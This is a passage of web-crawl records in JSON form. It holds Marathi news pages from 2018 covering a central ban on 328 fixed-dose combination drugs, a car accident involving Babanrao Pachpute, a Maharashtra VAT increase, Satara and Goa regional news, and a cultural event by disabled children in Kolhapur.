"digest": "sha1:JI2LDJVPTR6DAIY7NUBRRBUTFJ25U2SI", "length": 7445, "nlines": 147, "source_domain": "www.dainikprabhat.com", "title": "328 औषधांवर आरोग्य मंत्रालयाची बंदी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n328 औषधांवर आरोग्य मंत्रालयाची बंदी\nनवी दिल्ली – केंद्रीय आरोग्य मंत्रालयाने 328 औषधांच्या विक्री किंवा वितरणासाठी केल्या जाणाऱ्या उत्पादनावर बंदी घातली आहे. याशिवाय या औषधांचे उत्पादन करण्यासही निर्बंध घातले आहे. “फिक्‍स्ड डोस कॉम्बिनेशन’ या वर्गवारीअंतर्गत येणाऱ्या या औषधांवर तातडीने बंदी लागू होत असल्याचे आरोग्य मंत्रालयाच्या अधिकृत निवेदनामध्ये म्हटले आहे. दोन किंवा अधिक औषधांच्या ठराविक प्रमाणामध्ये एकत्रित करून एकच प्रकारात तयार करणे म्हणजे “एफडीसी’ होय.\nमाणसाच्या वापरासाठी हानीकारक असलेल्या 349 “एफडीसी’ वर औषधे अधिनियम 1940 च्या कलम 26 अ नुसार 10 मार्च 2016 रोजी बंदी घातली गेली आहे. मात्र त्याला काही उत्पादकांनी विविध उच्च न्यायालये आणि सर्वोच्च न्यायालयामध्ये आव्हान दिले होते.\nसर्वोच्च न्यायालयाने गेल्यावर्षी डिसेंबरमध्ये दिलेल्या निकालानुसार “ड्रग टेक्‍निकल ऍडव्हाजरी बोर्ड’च्या तज्ञांचे एक पॅनेल तयार करण्यात आले होते. या 328 “एफडीसी’ औषधांचा उपचारातील वापरासाठीचे कोणतेही समर्थनीय कारण उपलब्ध नाही. तसेच ही औषधे मानवाला हानीकारक ठरू शकतील, असे या पॅनेलच्या अहवालामध्ये म्हटले आहे. त्यानुसार या औषधांच्या उत्पादनावर बंदी घातली गेली आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleमिरजेत गणेश मिरवणूकीत भाजप – राष्ट्रवादीत तुंबळ हाणामारी; 10 जण जखमी\nNext articleकाय खरे, काय खोटे\nदेशाच्या चौकीदाराने गरीब, शहिदांचे पैसे अंबानींच्या खिशात घातले\nशरद पवारांनी खोटं बोलू नये\n5 हजार कोटी घेऊन गुजरातचा व्यापारी परदेशात फरार\nयशवंत आणि शत्रुघ्न सिन्हा आपकडून निवडणूक लढणार\nकुपोषणाशी मुकाबला करण्यासाठी ठोस यंत्रणा आहे का \nउत्तर भारतात पावसाचे थैमान; 8 जणांचा मृत्यू\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00415.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://www.esakal.com/pune/babanrao-pachpute-vehicle-accident-near-shirur-127232", "date_download": "2018-09-25T17:50:21Z", "digest": "sha1:77US742OQROA35X4REIXW4R5GOXYPBOH", "length": 10458, "nlines": 169, "source_domain": "www.esakal.com", "title": "Babanrao Pachpute vehicle accident near Shirur बबनराव पाचपुते यांच्या गाडीला अपघात; पाचपुते सुखरूप | eSakal", "raw_content": "\nबबनराव पाचपुते यांच्या गाडीला अपघात; पाचपुते सुखरूप\nशनिवार, 30 जून 2018\nपाचपुते यांची कार मालवाहतूक करणाऱ्या ट्रकला मागील बाजूने धडकली. नशीब बलवत्तर म्हणून बबनराव पाचपुते यांना कुठलीही इजा झाली नाही. या गाडीत पाचपुते यांच्याबरोबर त्यांचे सहाय्यक यशवंत भोसले आणि चालक युवराज उबाळे होते.\nशिक्रापूर : माजी मंत्री बबनराव पाचपुते यांच्या गाडीला शुक्रवारी रात्री नऊ वाजून 50 मिनिटांनी नगर रस्त्यावरील चौफुला येथील हॉटेल कल्याणी समोर भीषण अपघात झाला. सुदैवाने या अपघातातून बबनराव पाचपुते सुखरूप बचावले.\nपाचपुते यांची कार मालवाहतूक करणाऱ्या ट्रकला मागील बाजूने धडकली. नशीब बलवत्तर म्हणून बबनराव पाचपुते यांना कुठलीही इजा झाली नाही. या गाडीत पाचपुते यांच्याबरोबर त्यांचे सहाय्यक यशवंत भोसले आणि चालक युवराज उबाळे होते. तिघेजण सुखरूप आहेत. पाचपुते यांच्यासह चालकानं सीट बेल्ट लावल्यानं मोठा अनर्थ टळला.\nअपघातानंतर पाचपुते पुण्याकडे रवाना झाले. अपघाताची माहिती कळताच अनेकांनी घटनास्थळी धाव घेऊन तर अनेकांनी मोबाईलवरुन पाचपुते यांची विचारपूस करत धीर दिला.\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nआटपाडी - कारवाईदरम्यान पाच ते सात ब्रास वाळू ताब्यात\nआटपाडी - येथे बेकायदेशीर वाळू साठयावर तलाठ्यानी कारवाई केलयानंतर तहसीलदार सचिन लंगोटे यांनी घटनास्थळी जाऊन दुसर्‍यांदा पंचनामा केला....\nकोल्हापूर येथे अपघातामध्ये वडणगेची महिला ठार\nकोल्हापूर - येथील सीपीआर चौकात आज दुचाकी व एस टी अपघात झाला. यात वडणगे येथील महिला ठार झाली. फुलाबाई बाबासाहेब अस्वले (55 वडणगे) असे...\nपडलेल्या संरक्षक खांबामुळे नागरिक त्रस्त\nपुणे : कात्रज तलावाजवळ वड़खळनगर येथील अरुंद रस्त्यावरील आडवा लावलेला संरक्षक खांब दीड वर्षापूर्वी पडला आहे. सदर रस्त्याचा वापर मोठे टेम्पो, जड वाहने...\nट्रक-बसच्या धडकेत आठजण जखमी\nवडोद बाजार : पाथ्री (ता.फुलंब्री) गावाजवळ बस व ट्रक यांच्यात झालेल्या अपघातात आठ जण जखमी झाल्याची घटना मंगळवारी (ता. 25) पहाटे पाच वाजेच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00415.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-229293.html", "date_download": "2018-09-25T17:26:26Z", "digest": "sha1:DW3PJ5KI7E7UNKJBVXHW6ZD6VMBTBILE", "length": 16000, "nlines": 129, "source_domain": "lokmat.news18.com", "title": "'व्हॅट' लागली ; पेट्रोल, इलेक्ट्राॅनिक वस्तू महागणार", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'व्हॅट' लागली ; पेट्रोल, इलेक्ट्राॅनिक वस्तू महागणार\n16 सप्टेंबर : राज्यात व्हॅट अर्थात मुल्यवर्धित करांमध्ये 1 टक्क्याने वाढ करण्याचा निर्णय राज्य सरकारने घेतला आहे. 12.5 टक्क्यांवरुन ही वाढ आता 13.5 टक्के होणार आहे. त्यामुळे पेट्रोलच्या दरात 2 रुपयांची वाढ होणार आहे. तर डिझेलच्या दरात कोणतीही वाढ करण्यात आली नाही. पेट्रोलसोबतच वाहनांचे सुटे भाग, इलेक्ट्राॅनिक वस्तू, फर्निचर महागणार आहे.\nमहागाईने होरपळणाऱ्या सर्व सामान्यांच्या खिश्यावर राज्यसरकारने आता आणखी बोजा टाकला आहे. राज्यातील मुल्यवर्धित करांतर्गत स्टैंडर्ड कराचा दर 12.5 टक्क्यांवरुन 13.5 टक्के तर निम्न कराचा दर 5.5 टक्क्यांवरुन सहा टक्के करण्यास राज्य मंत्रिमंडळाने आज मान्यता दिली. तसंच पेट्रोल वरील विक्रीकराचा दर दीड रुपये प्रति लिटरने वाढवण्यात आला असून डिझेलच्या दरात मात्र कोणतीही वाढ करण्यात आलेली नाही. पेट्रोलवरील वाढीव करदरानंतरही राज्यातील पेट्रोलची किरकोळ विक्री किंमत जवळपास जून 2016 मधील विक्री किंमतीइतकीच असणार आहे.\nव्हॅटमध्ये 1 टक्का वाढ झाल्यामुळे दुचाकी आणि मोटार वाहने, वाहनांचे सुटे भाग, पेट्रोलियम वस्तू जसे वंगण, ऑईल महागणार आहे. तसंच इलेक्ट्रॉनिक वापरण्याच्या वस्तू जसे टी.व्ही, फ्रिज, आणि फर्निचर वस्तू, शोभेच्या वस्तू यांचाही समावेश असणार आहे.\nतर व्हॅट अंतर्गत 5.5टक्के कराची आकारणी होणाऱ्या वस्तूंवर आता 6 टक्के कर आकारणी होणार आहे. त्यातील महत्त्वाच्या वस्तूंमध्ये विटा, बांबू, सायकल, नॉन फेरस मेटल, पेपर, होजियरी वस्तू, मसाले, मिठाई आणि फरसाण, प्रक्रिया केलेली फळे आणि भाज्या, औषधे, खेळाचे साहित्य,तंत्रज्ञान वस्तू, दूधाची भुकटी, छत्र्या, लिखाणाचे साहित्य यांचा समावेश आहे.\nकरमाफी असलेल्या जीवनावश्यक वस्तूंच्या कर आकारणीमध्ये कोणताही बदल करण्यात आलेला नाही. त्यात शेतीस उपयुक्त अवजारे, दिव्यांग व्यक्तींसाठीची साधने, पुस्तके, जनावरे, कुक्कुट आणि मासे यांचे खाद्य, गहू, ज्वारी, तांदूळ आणि त्याचे पीठ, डायलिसीस आणि कॅन्सरवरील औषधे, दूध, भाजीपाला, फळे, फुले, जैविक खते, सर्व प्रकारचे सीडस्, साखर, मिरची, हळद, नारळ, सोलापुरी चादर आणि टॉवेल, मनुके बेदाणे, अगरबत्ती यांचा समावेश आहे.\nइतर राज्याच्या तुलनेत महाराष्ट्रात व्हॅट कमीच आहे असा दावा राज्य सरकारने केलाय. बिहारमध्ये 15 टक्के तर शेजारील गुजरातमध्ये 15 टक्के व्हॅट आकारला जातो. त्या तुलनेत राज्यात आता 13.5 टक्के व्हॅट आकारला जाणार आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00415.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AC%E0%A5%87%E0%A4%A7%E0%A4%A1%E0%A4%95/all/page-3/", "date_download": "2018-09-25T17:35:41Z", "digest": "sha1:WO27NJCLB7WZQAKAUATTD3QN67PVQBKQ", "length": 10513, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "बेधडक- News18 Lokmat Official Website Page-3", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबेधडक - मेट्रो वुमन 'आश्विनी भिडे'\nबेधडक - डर्टी पिक्चर\nबेधडक : बेपर्वाईचे बळी\nबेधडक : आसारामला जन्मठेप\nबेधडक : महाभियोगाचे राजकारण\nबेधडक : आरपारची लढाई\nन्यायमूर्ती पी. बी. सावंत यांची संपूर्ण मुलाखत\nबेधडक : शांतता कोर्ट चालू आहे\nमहाराष्ट्रात 'दादा'च, सुप्रियाताईंचं स्पष्टीकरण, राष्ट्रवादीतल्या वादावर पडदा\n'न्यूज 18 लोकमतचे आभार'\nआघाडीच्या राजकारणात काँग्रेस-राष्ट्रवादी हे तर आता जुळे भाऊ – अजित पवार\nविशेष बेधडक 'गोरखपूर'चा अन्वयार्थ\nदेशाची वाटचाल हुकूमशाहीकडे, केजरीवालांना आंदोलनाची पायरीही चढू देणार नाही - अण्णा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00415.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/page/7", "date_download": "2018-09-25T17:16:33Z", "digest": "sha1:EZ47DR2WUO4ZAGJNATZY2CR3KJKUGU6S", "length": 9699, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "आवृत्ती Archives - Page 7 of 3287 - तरुण भारत | तरुण भारत", "raw_content": "\nमुख्यमंत्र्यांनी खुर्चीचा मोह सोडावा\nफ्रान्सिस डिसोझांचे मंत्रिपद काढून घेतल्याने राष्ट्रवादीतर्फे निषेध प्रतिनिधी/ म्हापसा राज्यात आज दोन मंत्र्यांना मंत्रिमडळात सामावेश करून घेण्यात अडाले आहे. दोघांना म्हणजे फ्रान्सिस डिसोझा व पांडुरंग मडकईकर यांची खाती मुख्यमंत्र्यांनी दिल्लीत राहून काढून घेतली आहेत. म्हापशाचे आमदार तथा नगरविकासमंत्री आजारी आहेत त्याहीपेक्षा गंभीररित्या ते स्वतःच आजारी आहेत. त्यामुळे मुख्यमंत्र्यांना दुसऱयांची खाती काढून घेताना स्वतःच्या अवस्थेचाही विचार करावा. ते स्वतः आजारी ...Full Article\nडिचोलीचे मंत्रीपद एनवेळी रद्द झाल्याने डिचोली भाजपात अस्वस्थता\nप्रतिनिधी/ डिचोली सध्या गोवा राज्याच्या राजकीय पातळीवर सुरू असलेल्या तीव्र घडामोडींच्या पार्श्वभूमीवर डिचोलीचे आमदार राजेश पाटणेकर यांना ठरविण्यात आलेले मंत्रीपद एनवेळी रद्द झाल्याचे व ते आमदार निलेश काब्राल व ...Full Article\nपैलवान संदीप मांडवे यांचा वाढदिवस उत्साहात …\nप्रतिनिधी/ वडूज खटाव पंचायत समितीचे माजी सभापती व विद्यमान सदस्य, सातारा तालीम संघाचे उपाध्यक्ष पै. संदिपदादा मांडवे यांचा वाढदिवस विविध कार्यक्रमांनी उत्साहात साजरा झाला. वाढदिवसानिमित्त सुमारे पंधरा गावात छोटेखानी ...Full Article\nसातारा जिल्हा परिषदेच्या फर्निचरची परस्पर लूट, चौकशीची मागणी\nप्रतिनिधी/ सातारा सातारा जिल्हा परिषदेच्या मालकीच्या जुन्या काळातील फर्निचरची सध्या लूट होत असून या प्रकाराची चौकशी करावी, अशी मागणी सामाजिक कार्यकर्ते करीत आहेत. दरम्यान, किती खुर्च्या, कपाट, टेबल व ...Full Article\nआदर्श पत्रकार पुरस्काराने नवनाथ जगदाळे यांना सन्मानित\nप्रतिनिधी/ दहिवडी नवनाथ जगदाळे यांना माण देश फाउंडेशन पुणे यांच्यावतीने आर्दश पत्रकार पुरस्कार देऊन सन्मानित करण्यात आले. 2000 सालापासून पत्रकारित काम करीत असताना तालुक्याच्या जिव्हाळ्याच्या प्रश्नावर त्यांनी सातत्याने लिखान ...Full Article\nस्पर्धेच्या युगात मेहनतीला पर्याय नाही\nप्रतिनिधी/ परळी कोल्हापूरचे जिल्हाधिकारी अविनाश सुभेदार यांनी अचानक शनिवारी आपण ज्या शाळेत शिकलो, त्या परळी हायस्कूलला भेट दिली. तसेच आपल्या शाळेतील आठवणींना उजाळा देत यशाला कोणताही शॉर्ट कट नसतो, ...Full Article\nघनकचरा व्यवस्थापनासाठी 16 घंटागाडय़ांचे पूजन\nप्रतिनिधी/ फलटण नगरपरिषदेच्या स्वच्छता अभियाना अंतर्गत घनकचरा व्यवस्थापनासाठी 16 घंटा गाडय़ा खरेदी केल्या आहेत. फलटण नगरपरिषदेमध्ये, विधान परिषदेचे सभापती श्रीमंत रामराजे नाईक निंबाळकर यांच्या शुभहस्ते घंटा गाडय़ांचे पूजन करण्यात ...Full Article\nटंचाई निवारणात हलगर्जीपणा नको\nआमदार जयकुमार गोरे ; दहिवडीत माण – खटाव तालुक्यांची आढावा बैठक प्रतिनिधी/ सातारा ग्रामपंचायत माण आणि खटाव तालुक्यात सरासरीच्या निम्म्याहून कमी पाऊस झाल्याने सप्टेंबरमध्येच टंचाईसदृश्य परिस्थिती निर्माण झाली आहे. ...Full Article\nतिघांना जिवंत जाळण्याचा प्रयत्न करणाऱयास अटक\nऑनलाईन टीम / नाशिक : शुल्लक कारणावरुन तीन जणांना जिवंत जाळण्याचा प्रयत्न करणाऱया आरोपीला इगतपुरी पोलिसांनी बेड्या ठोकल्या आहेत. कुणाल हरकारे असे आरोपीचे नाव आहे. नाशिकच्या इगतपुरी तालुक्मयात काल ...Full Article\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nऑनलाईन टीम / पुणे : एफसी सिटी पुणे या संघाने राष्ट्रीय फुटबॉल सामन्यांसाठी 2018-19 च्या मौसमाची नव्या जर्सीची घोषणा केली आहे. मुख्य प्रशिक्षक मिगुल पोर्तुगल आणि संघातील प्रमुख खेळाडूंनी ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00416.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Annual-Memorandum-of-the-Chetna-Disability-Development-Organization/", "date_download": "2018-09-25T16:54:06Z", "digest": "sha1:U5GZKWOC4YDHBOQ3PHNJA4EVY7TDMIVJ", "length": 9291, "nlines": 38, "source_domain": "www.pudhari.news", "title": " दिव्यांग मुलांनी कलाविष्कारातून गुंफले बंध प्रेमाचे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › दिव्यांग मुलांनी कलाविष्कारातून गुंफले बंध प्रेमाचे\nदिव्यांग मुलांनी कलाविष्कारातून गुंफले बंध प्रेमाचे\nनिसर्गाने केलेला शारीरिक आणि मानसिक अन्याय विसरून सर्वसमान्य विद्यार्थ्यांनाही लाजवेल असा कलाविष्कार सादर करून दिव्यांग विद्यार्थ्यांनी प्रमुख पाहुण्यांसह उपस्थितांचीही मने जिंकली. या विद्यार्थ्यांनी ‘बंध प्रेमाचे, गोफ नात्याचे’ या संकल्पनेस सार्थठरविणारे विविध कलागुण सादर केले. निमित्त होते चेतना अपंगमती विकास संस्थेच्या वार्षिक स्नेहसंमेलनाचे. येथील संगीतसूर्य केशवराव भोसले नाट्यगृहात हा आगळा वेगळा कार्यक्रम पार पडला. दै. ‘पुढारी’च्या कार्यकारी संचालिका डॉ. स्मितादेवी योगेश जाधव यांच्या हस्ते आणि संस्थेच्या पदाधिकार्‍यांच्या उपस्थितीत दीपप्रज्वलन करण्यात आले.\nप्रेरणा गटातील विद्यार्थ्यांनी गणेश स्तवन सादर करून कार्यक्रमास सुरुवात झाली. ‘पहाट झाली उठा उठा म्हणतो कोण कोंबडा आणखी दुसरे कोण कोंबडा आणखी दुसरे कोण’ या गीतातून विविध पक्ष्यांची ओळख करून देणारा ‘छोट्यांचे मित्र’ हा कलाविष्कार सादर केला. ‘माझे घर’ या संकल्पनेवर आधारित कुटुंबातील विविध नातेसंबंधांची आठवण करून देणारी कलाकृती सादरकेली. ‘जाने कहा गये वो दिन’ या संकल्पनेवर आधारित गाण्यातून विद्यार्थ्यांनी मोबाईलचे अतिवेड यावर प्रकाशझोत टाकला. ‘पक्ष्यांच्या गाण्या’तून प्रेमाची बेरीज करण्याचा संदेश दिला.\nमायलेकरांच्या नातेसंबंधावर प्रकाशझोत टाकणारे ‘मेरी माँ’ हे गीत सादर करून विद्यार्थ्यांनी आईचा महिमा दाखवून दिला. कुटुंबातील नातेसंबंधांवर टीकाटिप्पणी करणारे ‘सत्वर पाव गं मला’ या भारुडातून भाष्य केले. देशाच्या सीमेवर अहोरात्र सेवा बजावून देशवासीयांचे संरक्षण करणार्‍या सैनिकांची आठवण या मुलांनी ठेवली. समूहगीत, आमची माळीयाची जात, दादी अम्मा दादी अम्मा मान जा, मै ससुराल नही जाऊंगी, सारे जहाँ से अच्छा अशा विविध गीतांनी उपस्थितांना मनोरंजनाची मेजवानी दिली.\nडॉ. सौ. स्मितादेवी जाधव यांच्या हस्ते सादिक महात, श्‍वेता भोपळे, किरण वास्कर आणि निपम शहा यांना आदर्श विद्यार्थी पुरस्काराने गौरविण्यात आले. चंद्रकांत थोरात 